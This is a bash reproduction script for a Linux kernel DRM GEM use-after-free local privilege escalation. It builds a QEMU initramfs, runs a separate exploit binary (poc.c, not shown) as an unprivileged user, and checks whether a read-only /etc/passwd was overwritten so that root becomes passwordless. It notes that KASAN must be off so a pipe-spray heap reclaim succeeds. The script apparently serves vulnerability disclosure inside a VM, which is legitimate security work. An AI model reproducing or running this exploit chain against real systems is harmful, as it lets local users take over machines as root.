#!/bin/bash
#
# DRM GEM UAF - Full exploit chain reproduction script
#
# Prerequisites:
#   - qemu-system-x86_64, gcc, busybox (static), fakeroot, cpio, gzip
#   - A kernel bzImage (6.18-rc1 or later) built WITHOUT CONFIG_KASAN
#     (KASAN quarantines freed slabs, preventing pipe spray reclaim)
#
# Usage:
#   ./run_exploit.sh /path/to/bzImage
#

set -e

if [ -z "$1" ]; then
    echo "Usage: $0 /path/to/bzImage"
    exit 1
fi

BZIMAGE="$1"
if [ ! -f "$BZIMAGE" ]; then
    echo "[-] bzImage not found: $BZIMAGE"
    exit 1
fi

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

echo "[*] Building exploit..."
gcc -o "$WORKDIR/poc" "$SCRIPT_DIR/poc.c" -lpthread -static

echo "[*] Building privilege-drop helper..."
cat > "$WORKDIR/drop_privs.c" << 'CEOF'
#include <unistd.h>
#include <stdio.h>
int main(void) {
    setgid(1000);
    setuid(1000);
    printf("[*] Now running as uid=%d gid=%d\n", getuid(), getgid());
    execv("/bin/poc", (char *[]){"/bin/poc", NULL});
    perror("execv");
    return 1;
}
CEOF
gcc -o "$WORKDIR/drop_privs" "$WORKDIR/drop_privs.c" -static

echo "[*] Building initramfs..."
INITRAMFS="$WORKDIR/initramfs"
mkdir -p "$INITRAMFS"/{bin,etc,tmp,dev,proc}

BUSYBOX=$(which busybox 2>/dev/null || true)
if [ -z "$BUSYBOX" ] || [ ! -f "$BUSYBOX" ]; then
    echo "[-] busybox not found. Install: apt install busybox-static"
    exit 1
fi

cp "$WORKDIR/poc" "$INITRAMFS/bin/"
cp "$WORKDIR/drop_privs" "$INITRAMFS/bin/"
cp "$BUSYBOX" "$INITRAMFS/bin/"

cd "$INITRAMFS/bin"
for cmd in sh ls cat id head chmod mkdir mount grep sleep; do
    ln -sf busybox "$cmd"
done

cat > "$INITRAMFS/init" << 'INITEOF'
#!/bin/sh
export PATH=/bin
mount -t proc proc /proc
mount -t devtmpfs devfs /dev
chmod 1777 /tmp

i=0
while [ ! -e /dev/dri/card0 ] && [ $i -lt 30 ]; do
    sleep 0.1 2>/dev/null || busybox usleep 100000
    i=$((i+1))
done
if [ ! -e /dev/dri/card0 ]; then
    echo "[-] /dev/dri/card0 never appeared - is -device virtio-gpu-pci set?"
    /bin/sh
    poweroff -f
fi
chmod 666 /dev/dri/*

echo "DRM GEM UAF - LPE Demo"
echo "Kernel: $(uname -r)"
echo
echo "/etc/passwd BEFORE (read-only, chmod 444):"
ls -la /etc/passwd
cat /etc/passwd
echo
echo "[*] Running exploit as uid 1000 (unprivileged)..."
echo

echo 1 > /proc/sys/kernel/printk

/bin/drop_privs

echo
echo "/etc/passwd AFTER:"
cat /etc/passwd
echo

if grep -q "pwned" /etc/passwd; then
    echo "[!] LPE CONFIRMED"
    echo "[!] uid 1000 overwrote read-only /etc/passwd"
    echo "[!] root account is now passwordless"
else
    echo "[-] Exploit did not modify /etc/passwd this run."
    echo "[-] The race is probabilistic, try again."
fi

echo
echo "[*] Dropping to shell (type 'poweroff -f' to exit)"
echo 7 > /proc/sys/kernel/printk
/bin/sh
poweroff -f
INITEOF
chmod 755 "$INITRAMFS/init"

cat > "$INITRAMFS/etc/passwd" << 'EOF'
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
EOF
chmod 444 "$INITRAMFS/etc/passwd"

cd "$INITRAMFS"
fakeroot sh -c 'chown -R root:root . && chmod 1777 tmp && find . | cpio -o -H newc 2>/dev/null' | gzip > "$WORKDIR/initramfs.img"

echo "[*] Booting QEMU..."
echo "[*]   Kernel: $BZIMAGE"
echo "[*]   Press Ctrl-A X to force-quit QEMU"
echo

qemu-system-x86_64 \
    -kernel "$BZIMAGE" \
    -initrd "$WORKDIR/initramfs.img" \
    -device virtio-gpu-pci \
    -enable-kvm \
    -smp 2 \
    -m 4G \
    -nographic \
    -append "console=ttyS0 nokaslr"